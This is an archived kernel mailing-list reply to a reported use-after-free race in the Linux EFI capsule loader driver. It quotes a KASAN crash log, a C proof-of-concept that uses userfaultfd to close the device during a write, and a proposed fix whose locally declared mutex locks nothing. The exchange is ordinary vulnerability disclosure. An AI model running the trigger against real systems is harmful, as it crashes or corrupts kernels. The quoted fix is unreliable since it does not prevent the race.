Re: Report Use-After-Free in capsule-loader.c

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On Wed, 16 Nov 2022 at 08:18, 黄 晓 <NigelXiao@xxxxxxxxxxx> wrote:
>
> Hello Ard Biesheuvel,
>       I found a bug in capsule-loader.c,Testing also exists in Linux 6.1.Hope to get your feedback, thank you
>
> The reason for the vulnerability is that struct capsule_info *cap_info is used in efi_capsule_write is constant which comes from file->private_data. If efi_capsule_release is called before the copy_from_user function, use-after-free is triggered
>
> cpu1                                            cpu2
> efi_capsule_write
>      cap_info = file->private_data
>                                               efi_capsule_release
>                                                 cap_info = file->private_data
>                                                       efi_free_all_buff_pages
>       copy_from_use
>
>

Thanks for the report.

I cannot reproduce this using your C program, neither on x86 nor on arm64

Can you share the config options you enabled to get this behavior?


> Output of Oops:
> [  119.429759] ==================================================================
> [  119.430192] BUG: KASAN: use-after-free in efi_capsule_setup_info+0x1c/0x40
> [  119.430650] Read of size 28 at addr ffff888006061000 by task test/139
> [  119.430836]
> [  119.431060] CPU: 0 PID: 139 Comm: test Not tainted 5.19.0 #8
> [  119.431296] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/4
> [  119.431641] Call Trace:
> [  119.431777]  <TASK>
> [  119.431917]  dump_stack_lvl+0x34/0x48
> [  119.432103]  print_report.cold+0xb2/0x6bb
> [  119.432267]  ? exc_page_fault+0x57/0xc0
> [  119.432957]  ? efi_capsule_setup_info+0x1c/0x40
> [  119.433289]  kasan_report+0xa9/0x120
> [  119.433428]  ? efi_capsule_setup_info+0x1c/0x40
> [  119.433563]  kasan_check_range+0x155/0x1f0
> [  119.433704]  memcpy+0x20/0x60
> [  119.433820]  efi_capsule_setup_info+0x1c/0x40
> [  119.433955]  efi_capsule_write+0x29d/0x3a0
> [  119.434104]  vfs_write+0xfe/0x3e0
> [  119.434227]  ksys_write+0xb4/0x150
> [  119.434354]  ? __ia32_sys_read+0x40/0x40
> [  119.434498]  ? filp_open+0x50/0x50
> [  119.434634]  ? fpregs_assert_state_consistent+0x58/0x70
> [  119.434794]  ? exit_to_user_mode_prepare+0x36/0x130
> [  119.434940]  do_syscall_64+0x3b/0x90
> [  119.435069]  entry_SYSCALL_64_after_hwframe+0x63/0xcd
> [  119.435292] RIP: 0033:0x406f8f
> [  119.435536] Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 99 fd ff ff 48 8b 54 24 18 48 8b 74 8
> [  119.436034] RSP: 002b:00007ffc6f88f5e0 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
> [  119.436265] RAX: ffffffffffffffda RBX: 00000000004004c0 RCX: 0000000000406f8f
> [  119.436646] RDX: 0000000000001000 RSI: 00007f3bc6213000 RDI: 0000000000000004
> [  119.436855] RBP: 00007ffc6f8906c0 R08: 0000000000000000 R09: 00007f3bc6212700
> [  119.437221] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000004095e0
> [  119.437566] R13: 0000000000000000 R14: 00000000004e0018 R15: 0000000000000000
> [  119.437802]  </TASK>
> [  119.437919]
> [  119.438038] Allocated by task 0:
> [  119.438174] (stack is not available)
> [  119.438270]
> [  119.438352] Freed by task 0:
> [  119.438477] (stack is not available)
> [  119.438571]
> [  119.438655] The buggy address belongs to the object at ffff888006061000
> [  119.438655]  which belongs to the cache kmalloc-16 of size 16
> [  119.439018] The buggy address is located 0 bytes inside of
> [  119.439018]  16-byte region [ffff888006061000, ffff888006061010)
> [  119.439325]
> [  119.439443] The buggy address belongs to the physical page:
> [  119.439683] page:(____ptrval____) refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:01
> [  119.440029] flags: 0x100000000000200(slab|node=0|zone=1)
> [  119.440554] raw: 0100000000000200 0000000000000000 dead000000000122 ffff888004c423c0
> [  119.440816] raw: 0000000000000000 0000000080800080 00000001ffffffff 0000000000000000
> [  119.441046] page dumped because: kasan: bad access detected
> [  119.441272]
> [  119.441429] Memory state around the buggy address:
> [  119.441789]  ffff888006060f00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
> [  119.441990]  ffff888006060f80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
> [  119.442184] >ffff888006061000: fa fb fc fc fa fb fc fc fa fb fc fc fa fb fc fc
> [  119.442377]                    ^
> [  119.442514]  ffff888006061080: fa fb fc fc fa fb fc fc fa fb fc fc fa fb fc fc
> [  119.442721]  ffff888006061100: fa fb fc fc fa fb fc fc fa fb fc fc fa fb fc fc
> [  119.442898] ==================================================================
> [  119.443279] Disabling lock debugging due to kernel taint
>
>
> poc
> '''
> #include  <inttypes.h>
> #include <stdlib.h>
> #include <stdio.h>
> #include <stdint.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <sys/ioctl.h>
> #include <fcntl.h>
> #include <stdio.h>
> #include <unistd.h>
> #include <error.h>
> #include <string.h>
> #include <linux/userfaultfd.h>
> #include <pthread.h>
> #include <signal.h>
> #include <stdbool.h>
> #include <poll.h>
> #include <sys/mman.h>
> #include <sys/syscall.h>
> #include <sys/ipc.h>
> #include <sys/time.h>
> #include <sys/param.h>
> #include <sys/resource.h>
> #include <sys/msg.h>
> #include <linux/vhost.h>
> #include <err.h>
>
> static int fd;
> char fault_buffer[0x1000];
> void* fault_handler(void* arg){
>
>
>     struct uffd_msg msg;
>     unsigned long uffd = (unsigned long)arg;
>     puts("[+] fault_handler creaete");
>     sleep(3);
>     struct pollfd pollfd;
>     int nready;
>     pollfd.fd = uffd;
>     pollfd.events = POLLIN;
>
>     nready = poll(&pollfd,1,-1);
>     if(nready != 1)
>         err(1,"poll");
>
>     printf("[+] Trigger\n");
>
>     close(fd);
>
>     nready = read(uffd,&msg,sizeof(msg));
>
>     if(nready <= 0)
>         err(1,"msg error!!");
>
>     memset(fault_buffer,'a',0x100);
>
>    struct uffdio_copy uc;
>    uc.src = (unsigned long)fault_buffer;
>    uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);;
>    uc.len = 0x1000;
>    uc.mode = 0;
>    uc.copy = 0;
>    ioctl(uffd, UFFDIO_COPY, &uc);
>    puts("[+] writek_handler done!!");
>
> }
>
>
> void RegisterUserfault(void* fault_page){
>
>     pthread_t thr;
>     struct uffdio_api ua;
>     struct uffdio_register ur;
>     uint64_t uffd = syscall(__NR_userfaultfd,O_CLOEXEC | O_NONBLOCK);
>     ua.api = UFFD_API;
>     ua.features = 0;
>     if(ioctl(uffd,UFFDIO_API,&ua)== -1)
>         err(1,"ioctl-UFFDIO_API");
>
>     ur.range.start = (unsigned long)fault_page;
>     ur.range.len = 0x1000;
>     ur.mode = UFFDIO_REGISTER_MODE_MISSING;
>     if(ioctl(uffd,UFFDIO_REGISTER,&ur) == -1)
>         err(1,"ioctl-UFFDIO_REGISTER");
>
>     if(pthread_create(&thr,NULL,fault_handler,(void*)uffd)!=0)
>         err(1,"pthread_create");
>
>
> }
>
>
> int main(int args,char* argv){
>
>     char *user_buf = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);
>     if (user_buf == MAP_FAILED)
>     {
>         err(1,"mmap");
>     }
>     RegisterUserfault(user_buf);
>
>     fd = open("/dev/efi_capsule_loader",O_RDWR);
>     if(fd < 0){
>         perror("open fail");
>     }
>     write(fd,user_buf,0x1000);
>
> }
>
>
> '''
>
>
> fix:
>
> '''
>
> static int efi_capsule_release(struct inode *inode, struct file *file)
> {
>    struct mutex chrd;
>       ...
>     mutex_lock(&chrd);
>       ...
>
>     mutex_unlock(&chrd);
>  }
>
> '''
>
> Thank
>
>




[Index of Archives]     [Linux ARM Kernel]     [Linux ARM]     [Linux Omap]     [Fedora ARM]     [IETF Annouce]     [Security]     [Bugtraq]     [Linux OMAP]     [Linux MIPS]     [ECOS]     [Asterisk Internet PBX]     [Linux API]

  Powered by Linux